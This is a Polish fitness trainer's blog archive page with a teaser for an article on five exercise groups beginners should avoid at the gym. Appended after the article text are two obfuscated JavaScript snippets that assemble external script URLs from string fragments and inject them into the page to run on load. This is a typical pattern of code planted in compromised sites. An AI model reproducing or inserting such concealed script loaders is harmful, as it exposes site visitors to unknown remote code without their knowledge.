kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 23 lipca, 2025

Kategorie:

Ćwiczenia dla początkujących jakich należy unikać

Chcesz szybkich efektów? Zobacz, jakich ćwiczeń unikać na początku przygody z siłownią.

23 lipca, 2025

Zaczynasz przygodę z siłownią i chcesz szybkich efektów? Uważaj na popularne ćwiczenia, które wyglądają efektownie, ale dla początkujących są prostą drogą do bolesnej kontuzji. Ten artykuł to Twój niezbędnik bezpieczeństwa. Odkryj, jakich 5 grup ćwiczeń unikać na starcie i poznaj bezpieczne alternatywy, które dadzą Ci prawdziwe, długoterminowe rezultaty. Trenuj z głową, a nie z ego!

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();